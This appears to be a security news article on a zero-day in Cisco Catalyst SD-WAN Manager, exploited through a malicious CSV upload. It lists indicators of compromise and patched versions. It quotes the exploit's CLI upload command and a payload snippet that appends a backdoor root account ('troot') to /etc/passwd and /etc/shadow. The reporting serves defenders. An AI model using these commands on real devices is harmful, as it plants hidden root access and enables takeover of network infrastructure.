Cisco Catalyst SD-WAN Manager Zero-Day Exploited to Gain Root Access via Malicious CSV Upload

Cisco Catalyst SD-WAN Manager instances are currently being targeted in a zero-day exploitation campaign that allows attackers to escalate their privileges to root through a malicious CSV upload mechanism.

Mandiant reported this information on June 24, 2026. The vulnerability, identified as CVE-2026-20245, affects Cisco Catalyst SD-WAN controllers and stems from improper validation of file uploads within the command-line interface (CLI). This flaw enables authenticated attackers to execute arbitrary commands with root privileges.

Cisco Catalyst SD-WAN Manager Zero-Day

Mandiant researchers observed the campaign targeting a service provider’s SD-WAN infrastructure. Attackers initially gained access via unauthorized peering connections, which enabled them to obtain Secure Shell (SSH) access to SD-WAN Manager devices.

They may have exploited earlier vulnerabilities, such as CVE-2026-20127 and CVE-2026-20182, or used stolen certificate materials. Once inside, the threat actors manipulated credentials by changing the default account passwords to ensure their persistence while avoiding detection.

After gaining initial access, the attackers logged in using the default vmanage-admin account and changed the admin account password. They then used the web interface to enumerate and exfiltrate SD-WAN configurations, including device inventories and controller details.

Log telemetry captured HTTP requests to endpoints such as/dataservice/system/device/controllers, indicating reconnaissance and configuration-harvesting activities.

A critical stage of the attack involved exploiting CVE-2026-20245. This vulnerability permits privilege escalation via a specially crafted CSV file uploaded through the CLI using the appropriate command.

request tenant-upload tenant-list /home/admin/evil_tenant.csv vpn 0

The uploaded file, named evil_tenant.csv, contains a malicious payload that manipulates system-level files. Specifically, it appends a new privileged user entry into the /etc/passwd and /etc/shadow files, effectively creating a backdoor root account. A snippet of the payload demonstrates this behavior:

grep -q '^troot:' /etc/passwd || echo 'troot:x:0:0:root:/root:/bin/bash' >> /etc/passwd;

grep -q '^troot:' /etc/shadow || echo 'troot:<redacted>:19000:0:99999:7:::' >> /etc/shadow

Using this technique, the attacker creates a user named troot with full root privileges and subsequently switches to that account using the su command, thereby gaining complete control of the device.

To evade detection, the threat actor implemented extensive anti-forensic measures. These included deleting the malicious CSV file, restoring modified configuration files, and executing validation scripts to confirm the removal of artifacts. The attacker also reverted password changes to avoid raising suspicion during routine administrative access.

This campaign highlights a broader trend identified by the Google Threat Intelligence Group (GTIG), in which attackers increasingly target edge network devices, such as SD-WAN controllers.

These systems often lack robust endpoint detection and response (EDR) visibility, making them attractive targets for persistent, stealthy operations within enterprise environments.

Indicators of Compromise (IOCs)

Description	Indicator
IP address connecting as rogue device and exploiting CVE-2026-20245	126.51.108[.]152
IP address connecting as rogue device	76.92.245[.]217
IP address connecting as rogue device	207.190.37[.]94
IP address connecting as rogue device	23.245.7[.]178
IP address connecting as rogue device	153.186.231[.]233
IP address connecting as rogue device	167.179.79[.]189
IP address connecting as rogue device	45.32.38[.]160
IP address connecting as rogue device	209.137.225[.]101

File Indicators of Compromise

Filename	Description	SHA256
/home/admin/evil_tenant.csv	Remnant of malicious CSV file exploiting CVE-2026-20245	b82936f37648518425c7d3cf9e09eaffa41d7cdb3840f6a40287e3a108880f7b
/home/admin/.orig_vbond_vsmart_tenant_list	Backup configuration file	Not recovered
/home/admin/.orig_vbond_vsmart_tenant_list.state	State file	Not recovered
/home/admin/.orig_passwd	Backup password file	Not recovered
/home/admin/.orig_shadow	Backup password file	Not recovered

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Security teams are advised to monitor authentication logs for suspicious SSH access, particularly involving the vmanage-admin account from external IP addresses.

Additionally, anomalous execution of tenant upload scripts and unexpected use of the su command to switch to non-standard accounts such as troot should be treated as high-confidence indicators of compromise.

Cisco has released patched software versions addressing CVE-2026-20245, including 20.9.9.2, 20.12.7.2, 20.15.4.5, 20.15.5.3, 20.18.3.1, and 26.1.1.2.

Organizations are strongly urged to upgrade immediately, conduct IOC sweeps using diagnostic commands such as request admin-tech, and follow Cisco’s SD-WAN hardening guidelines to mitigate risk.

Follow us on Google News, LinkedIn, and X to Get Instant Updates and Set GBH as a Preferred Source in Google.